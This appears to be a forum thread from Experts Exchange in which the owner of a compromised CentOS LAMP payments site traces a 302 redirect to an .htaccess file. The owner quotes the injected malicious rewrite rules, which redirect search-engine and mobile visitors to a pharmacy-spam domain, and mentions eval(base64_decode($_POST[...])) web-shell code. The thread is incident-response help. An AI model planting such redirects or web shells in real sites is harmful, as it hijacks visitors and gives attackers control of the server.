philevans114
asked on
website 302 redirect
Hi
I am running a Centos 5, LAMP site. The problem is that one of the pages is being redirected to another page (not mine) that has a link. I think it is a hack.
This is being done on a 302 Found redirect :-
Found
The document has moved here.
The pages are part of my payments processing and so I have taken the site down while I resolve the problem.
I have tested the code and it is being executed correctly :-
elseif ($pmeth == 'card') {
//print_r ($inputdata);
$url=$url_prefix."payments /card.php" ;
$result=postArray($inputda ta,$url);
if ($result != 'ok') echo $result;
exit;
However even if I rename card.php to xxx.php the redirect still happens. I don't know much about 302 redirects. How are they configured? Where do I start looking?
Thanks for any help.
I am running a Centos 5, LAMP site. The problem is that one of the pages is being redirected to another page (not mine) that has a link. I think it is a hack.
This is being done on a 302 Found redirect :-
Found
The document has moved here.
The pages are part of my payments processing and so I have taken the site down while I resolve the problem.
I have tested the code and it is being executed correctly :-
elseif ($pmeth == 'card') {
//print_r ($inputdata);
$url=$url_prefix."payments
$result=postArray($inputda
if ($result != 'ok') echo $result;
exit;
However even if I rename card.php to xxx.php the redirect still happens. I don't know much about 302 redirects. How are they configured? Where do I start looking?
Thanks for any help.
Could you provide us more information such as request and response header .
You can use the debugger tools from this site http://www.charlesproxy.com/download/
Duncan
You can use the debugger tools from this site http://www.charlesproxy.com/download/
Duncan
ASKER
Thanks Gary.
Its my own PHP. 2 mins after posting I suddenly realised to check .htaccess. Its been altered with rewrites and redirects all over the place e.g.
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*images.google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]
RewriteRule .* http://doctor-store24x7.com [R,L]
RewriteCond %{HTTP_USER_AGENT} acs [NC,OR]
RewriteCond %{HTTP_USER_AGENT} alav [NC,OR]
RewriteCond %{HTTP_USER_AGENT} alca [NC,OR]
RewriteCond %{HTTP_USER_AGENT} amoi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} audi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} aste [NC,OR]
RewriteCond %{HTTP_USER_AGENT} avan [NC,OR]
RewriteCond %{HTTP_USER_AGENT} benq [NC,OR]
RewriteCond %{HTTP_USER_AGENT} bird [NC,OR]
RewriteCond %{HTTP_USER_AGENT} blac [NC,OR]
RewriteCond %{HTTP_USER_AGENT} blaz [NC,OR]
RewriteCond %{HTTP_USER_AGENT} brew [NC,OR]
RewriteCond %{HTTP_USER_AGENT} cell [NC,OR]
RewriteCond %{HTTP_USER_AGENT} cldc [NC,OR]
RewriteCond %{HTTP_USER_AGENT} cmd- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} dang [NC,OR]
RewriteCond %{HTTP_USER_AGENT} doco [NC,OR]
RewriteCond %{HTTP_USER_AGENT} eric [NC,OR]
and more...
I'm also finding eval(base64_decode($_POST[ etc in some of the php pages and uploaded pages with the same.
I don't now how they are getting in. I'm running CSF and LFD and clamav.
I'm about to change passwords etc.
Its my own PHP. 2 mins after posting I suddenly realised to check .htaccess. Its been altered with rewrites and redirects all over the place e.g.
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*images.google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]
RewriteRule .* http://doctor-store24x7.com [R,L]
RewriteCond %{HTTP_USER_AGENT} acs [NC,OR]
RewriteCond %{HTTP_USER_AGENT} alav [NC,OR]
RewriteCond %{HTTP_USER_AGENT} alca [NC,OR]
RewriteCond %{HTTP_USER_AGENT} amoi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} audi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} aste [NC,OR]
RewriteCond %{HTTP_USER_AGENT} avan [NC,OR]
RewriteCond %{HTTP_USER_AGENT} benq [NC,OR]
RewriteCond %{HTTP_USER_AGENT} bird [NC,OR]
RewriteCond %{HTTP_USER_AGENT} blac [NC,OR]
RewriteCond %{HTTP_USER_AGENT} blaz [NC,OR]
RewriteCond %{HTTP_USER_AGENT} brew [NC,OR]
RewriteCond %{HTTP_USER_AGENT} cell [NC,OR]
RewriteCond %{HTTP_USER_AGENT} cldc [NC,OR]
RewriteCond %{HTTP_USER_AGENT} cmd- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} dang [NC,OR]
RewriteCond %{HTTP_USER_AGENT} doco [NC,OR]
RewriteCond %{HTTP_USER_AGENT} eric [NC,OR]
and more...
I'm also finding eval(base64_decode($_POST[
I don't now how they are getting in. I'm running CSF and LFD and clamav.
I'm about to change passwords etc.
This
base64_decode
is your clue to being hacked.
As you have said - change all your passwords to something strong - that mean uppercase, lowercase number and symbols.
Check all your server logins, ftp, ssh etc and change them.
You need to lock down your server.
I would temporarily take your site off line if possible, or if you have a local copy then delete the online version and put your clean copy up. If not then you will have to go through each page and cleanse them.
base64_decode
is your clue to being hacked.
As you have said - change all your passwords to something strong - that mean uppercase, lowercase number and symbols.
Check all your server logins, ftp, ssh etc and change them.
You need to lock down your server.
I would temporarily take your site off line if possible, or if you have a local copy then delete the online version and put your clean copy up. If not then you will have to go through each page and cleanse them.
ASKER
Thanks Gary for the advice.
I've sanitised the code and have the site off-line now. I don't have a copy that I can easily upload.
I need to prevent them getting in but don't know how. I'm looking at installing CXS. I assume that the base64_decode can inject code into pages somehow.
I need to do a bit more on EE to find out. I would welcome any ideas.
I've sanitised the code and have the site off-line now. I don't have a copy that I can easily upload.
I need to prevent them getting in but don't know how. I'm looking at installing CXS. I assume that the base64_decode can inject code into pages somehow.
I need to do a bit more on EE to find out. I would welcome any ideas.
ASKER CERTIFIED SOLUTION
membership
This solution is only available to members.
To access this solution, you must be a member of Experts Exchange.
ASKER
Hi Gary
Very helpful.
I've disable_function base64_decode in php.ini, changed passwords and am running csf. I need to look at the others things.
A good first start. Much appreciated.
Very helpful.
I've disable_function base64_decode in php.ini, changed passwords and am running csf. I need to look at the others things.
A good first start. Much appreciated.
ASKER
Gary went beyond the initial question and provided some very useful support and advice.
Is this a CMS like Wordpress or your own code?